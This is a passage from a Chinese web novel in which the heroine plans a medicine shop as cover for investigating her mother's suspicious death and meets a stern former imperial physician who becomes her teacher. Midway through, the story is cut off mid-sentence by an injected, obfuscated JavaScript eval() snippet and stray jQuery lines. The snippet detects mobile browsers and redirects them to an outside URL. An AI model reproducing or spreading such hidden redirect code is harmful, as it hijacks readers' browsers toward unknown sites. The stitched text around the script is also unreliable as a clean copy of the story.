柳氏不由分说,将那本书揽到怀里,“这书我没收了!往后不许再看!”
说罢,她不再看竹曳一眼,带着惶惶不安的钱嬷嬷,略显踉跄地快步离去,连平日里一贯维持着的端庄仪态都被抛之脑后。
房门被重重带上,屋内恢复了安静,只剩下竹曳一人站在原地,心口还在怦怦直跳。
缓缓坐到椅子上,竹曳心中思绪纷杂。一方面庆幸幸好自己已经把那本书看完了,关键的内容也早已经记下,另一边又心事重重想事情。
柳氏这突如其来的激烈反应,实在是超出她的意料,她不待见原主生母,这一点竹曳早有认识,可仅仅就因为一本旧书,就能够令她失态至此吗?
而且,柳氏怎么会一眼就能认出来那本书和原主生母有关?那书封面与普通书籍并无异样,上面也没有什么特殊标记。
难道是因为书页之间的批注?柳氏对原主生母的笔迹,竟然熟悉到这种程度吗?她们之间到底发生过什么?
竹曳紧紧皱着眉,刚刚柳氏说的那些话反复在脑海中不断回放,原本已经将母亲的死从柳氏身上转移到了她会制毒有关,但看刚刚柳氏的表现,似乎她还真的知道点什么。
风从窗户中吹进来,带着夏日的热气。竹曳起身,将剩下的那些旧物重新换了个隐蔽的地方,仔细藏好。
柳氏的警告深深印在了竹曳的心里,不仅是那本书,还有还未到来的柳文轩。
接下来的几日,竹曳旁敲侧击的在周围人中打探了一圈,只得知柳文轩是柳氏的侄子,先前一直在江南一带当个小官,更多的便打探不出来了。
这些天,竹曳每日只窝在园内看看书,逗逗猫,偶尔应付应付跑来她这里玩的竹茵,再调弄些无关痛痒的花草,仿佛真的是被柳氏吓到了,彻底安分下来。
甚至连系统都说,若是一直这么下去,任务虽然完不成了,但是惩罚也再用不到了。
但竹曳并非真的暂时放下了任务,相反,这些日子里,她每天都在琢磨下一步该如何走。
母亲的死因目前有两个方向,一是柳氏,二是制毒技艺,前者和后者似乎还有些关联,一体两面也并非没有可能。
要想走柳氏这条线,就得先了解柳氏与母亲的关系,这无疑是难的。但若是要想走制毒这条线,就得知道当年母亲的毒做到了什么地步,又为什么突然停手。
这两个方向都难如登天。
这几日,竹曳一边仔细翻看那些书,一边发愁下一步该如何走,那几个瓷盒被拿出一次又一次,却始终找不到突破口。
直到昨日,竹曳突然听到李嬷嬷和府中管事娘子闲聊时的话,说是府中在城西闲了一个铺面,原本租户到期搬走,眼下正空着,不知道接下来要做些什么。
言者无心,听者有意。竹曳脑中灵光一闪,或许可以有个药房,明面上悬壶济世,经营药材,暗地里可以为自己调查学医打些掩护,而且自己本就身弱,有个药铺也没什么稀奇的。
19. 神秘导师
竹曳都已经想好了,开医馆还需要坐堂大夫,得给患者诊断病情开具药方。自己虽然懂点医术,但是真要看病还是不行,好医生又不方便找,所以还是开个药馆方便些。
有了这么个想法,竹曳就开始思索药馆如何才能开起来,铺面要有,资金要有,通药理的医生也要有,还有最重要的一点,营业执照怎么得到也是个问题。
这样一想,简直四面八方都是难题,竹曳又开始发愁。
不过铺面倒是眼下唯一还有点头绪的,她装作不经意地向李嬷嬷打听那间铺子。
“嬷嬷,您说的那间铺子,之前是用来做什么的呀。”
李嬷嬷没多想,顺口就答:“铺子?你说城西那间铺子?那原先的租客是个卖香料的,姓吴,人都叫吴香师。”
她手里的针线活没停,嘴里接着往下说:“说起来那吴香师手艺是真不错,前阵子说是老家有事,铺子空了大半年,这次从老家回来,就急忙退了租,连好些家什都没来得及带走呢。”
竹曳状若好奇的样子,“制香?那铺子里面是不是还有些碾药的石臼、小秤之类的用具?”
李嬷嬷点头:“有啊,那家伙什都齐全着呢,你这孩子问这些做什么,那不成也对这些感兴趣了?”
竹曳:“嬷嬷,我想开个药馆。”
“药馆?”李嬷嬷震惊至极:“怎么突然想开药馆?你这孩子怎么又对这些感兴趣了,我说你这些天怎么找了那么多医书翻来看。”
李嬷嬷不明白竹曳为何突然想要开药馆,心中存疑,嘴里重复,“好端端的怎么突然想开药馆了?”
李嬷嬷看着原主母亲长大,后面又看着原主长大的。竹曳想着将自己的想法告诉她也没什么,她压低声音,凑到李嬷嬷耳边,说道:“嬷嬷,我怀疑我娘的死不是因为意外,是有人故意陷害,我想查清楚这件事,我想了,有间药铺是最方面的,嬷嬷你帮帮我好不好?”
听了这话,李嬷嬷登时变了脸色,“你、你这孩子,这可不能瞎说!”
竹曳看李嬷嬷眼神飘忽,心想当年的事她肯定是知道些什么。
“嬷嬷,您也觉得我娘那件事有蹊跷对不对,那我们就该查清楚真相,不能让害她的人还好好地活着!”
竹曳从小便固执,她想做的事情一定要做,即便会碰一头的伤,她也要去撞那南墙。
“嬷嬷,我不知道您在担心什么,但是身为她的女儿,我要去查清楚,之前是我太小了,什么也做不了,如今我长大了,该我做的,一件都不会少。”
李嬷嬷慌忙去捂竹曳的嘴,着急地说:“我的大小姐!那些事不是好查的,先不说时间久不好查,就单说你一个没权没势的闺阁小姐怎么去查?”
“唉,我伴着你娘长大,又看着她那么年轻就去世,心中自然是难受的紧,”李嬷嬷脸色发白,她攥住竹曳的手,“你娘留你在世,我得护好你,护你平安无事...到时也好去面对你的母亲,这件事往后万不要再提了。”
竹曳心中感动,李嬷嬷对待原主及其生母用情至深,她反握住李嬷嬷颤抖的手,字字清晰,“嬷嬷,您看着我长大,我知道您让我别再提是想保护我,可是您知道吗,每当我想起我娘被人陷害而死,我却在这安稳中装作无事的活着,我就难受,这就像一根刺,日夜扎着我的心。
“如果我的一生是这种平安,那么我宁可不要!”
竹曳越说越激动,“您怕我遇到危险,可我已经身在局中了。您放心,我不会莽撞去查,我开一间药馆,明面上就说是为了我这病弱之躯方便,暗地里,它可以当做我们的眼睛和耳朵。嬷嬷,查案不一定全都是明刀明枪,我会小心的。”
李嬷嬷看着竹曳那与她母亲如出一辙的神态,所有想要阻拦的话就再也说出口了。
她眼含热泪,颤抖着嘴角,“你长大了......当真和你娘当年,一模一样。”
她用力闭了闭眼,似乎是下定了某种决心,待再睁开之时,浑浊的眼里闪过坚决,她的声音里带着破釜沉舟一般的意味。
“好,既然你坚决如此,我就帮你!”
李嬷嬷将那日未对竹曳说的全都讲了出来。
竹曳这回明白了很多事情,原主生母沈兰芝来到京城之后,因为制毒技艺高超,被不少人眼红,京城势力错综复杂,各方都在明争暗斗想要得到那奇毒,好些人抱着得不到就毁掉的想法起了陷害的心思。
后来,沈兰芝意识到了危险,便对外谎称自己制毒的医书被人所偷,已不知所踪,没了那医书,她自已无法制毒。
消息传了出去,有的人信了,心思打到了那医书上,有的人不信,觉得沈兰芝肯定早已经将那医书中的内容背下了,依然想要沈兰芝制毒,为此她自证无数次,竹文渊也多次设计将众人视线转移到那丢了的医书之中。
本以为随着时间的推移,这事情能渐渐被世人淡忘,隐入尘埃。
但是,风浪并未平息,还自暗处酝酿成了更为危险的激流。
某日,沈兰芝外出之时离奇失踪,隔日归来时虽未受外伤,却心事重重,面对竹文渊和李嬷嬷等人急切的问询,只答不能多言。
再不多时日,沈兰芝便被府中下人发现投了湖。
听到这,竹曳已经能够将这么多天来查到的消息串联起来了,可是到底是谁这么想要得到那毒呢?到底又是什么毒,能让所有人都想得到?
李嬷嬷老泪纵横,“小姐,开药馆可不容易,若是老爷夫人问起来,咱们该如何说?”
竹曳拿帕子为李嬷嬷擦去泪水,“就拿我这病当理由,到时就说,家中若是有一处知根知底的药源,我每次更换方子药材的时候也方便些。”
李嬷嬷摇头:“单这样说恐怕不够稳妥。”
竹曳又琢磨一瞬,“那再加上,我想要学医学些调理之道呢?家中有个药铺也方便我学。”
李嬷嬷一时之间也没有想到什么好方法,她叹口气,说道:“也罢,就先这样和老爷夫人说吧,从小到大,你想学些什么老爷总是支持的,该不会阻拦你。”
“不过那可得赶快去提上一嘴,城西那间铺子位置挺好,恐怕不久就又会租出去,听说前段时间就有几个人来问过了。”李嬷嬷向来将竹曳放在心尖尖上宠,看她打定竹主意要去做,自然要给她出主意,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852111|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
各方细节都要帮竹曳照顾到了。
竹曳心里没打算用那间铺子,到时候若是开起来了药房,岂不是人人都知道是竹家的,还怎么查东西?
她对李嬷嬷说:“我觉得这事先不用着急,您想,若是我突然去说,父亲或许会随口答应,但难免会觉得我是一时兴起,我得先让大家都看到我沉迷学医。”
李嬷嬷听完,怔住了半晌,又红了眼眶,她感慨道:“小姐真是长大了,想的真周全!”
几日后,竹曳大张旗鼓的买了不少医书,府中上下皆知自家大小姐突然对养生医学之道上了心,私下里议论这是久病成医了。
在竹曳跟竹文渊说后,竹文渊仔细询问了竹曳是否真的想要学习医术,还专门为她请了德高望重的老师来。
老师教学的时间定在下午,竹曳早早就在书房等着了,她右手漫无目的地翻着书,心里着实有些忐忑。
竹曳从小到大都对老师有一种天然的“敬畏”之情,这无解,她猜测这可能是因为从上小学开始各位老师就过于关注她的缘故。
竹曳性子静、成绩好,总是按时完成作业,每天又像是个小大人一样说话,所有老师都很喜欢她,也格外关照她,翻到让本来就内向的竹曳更不知道该如何应对,现在换了时空,面对老师的紧张也一起跟过来了。
没等多久,教医术的老师便到了,来人姓宋,名鸿风,先前在太医院任职,医术颇负盛名,后来据说是因为“年事已高,性情孤傲”而卸职离宫。
竹文渊亲自将人引了进来,简单介绍了一下,便嘱咐竹曳好好听老师的教导,然后硬拉着非要留下来一起听的竹茵走了。
室内短时安静下来,只剩下竹曳、文心,以及宋老先生,竹曳看着这位留着长长胡子的老者,一时之间不知道该怎么称呼对方,有些尴尬地立在原地。
宋鸿风倒是很是从容,他声音平淡无波,“你就是竹曳?老夫姓宋,名叫宋鸿风,受竹大人之托,来教你些医术。”
竹曳赶忙点头行礼,“好的好的,见过先生。”
宋鸿风微微颔首,看了竹曳一眼,捻了捻长须,又说道:“我教书向来严厉,竹小姐学医,须得先知道三件事。”
“第一,医道关乎生死,并非戏言,既然你要跟从我学,须做到不邪、不惰,要持身以正。
“第二,老夫不管你以‘体弱’为由是真心向学,还是一时兴起,在我这里,每月三次考核,若是无所进,老夫自会向令尊请辞,到时还请另请高明。”
“而这第三......”宋鸿风话音陡然一转,“无论外人如何问起,你万万不能透露师承于我。其中缘由非你现在所能知晓的,你只需牢牢记住便可。”
竹曳已然呆立在原地,她是真的没想到学医竟然还有这么多复杂的事情,第一点自然不用说,她都懂,可这第二点是什么意思?每个月都要有三次考试吗?
说实话,她自从高中开始,就再也没有经历过一个月三次考试了......
还有第三点,为什么不能说自己的老师是他呢?难道觉得自己会丢他的人吗?
竹曳扯了扯嘴角,全都应下。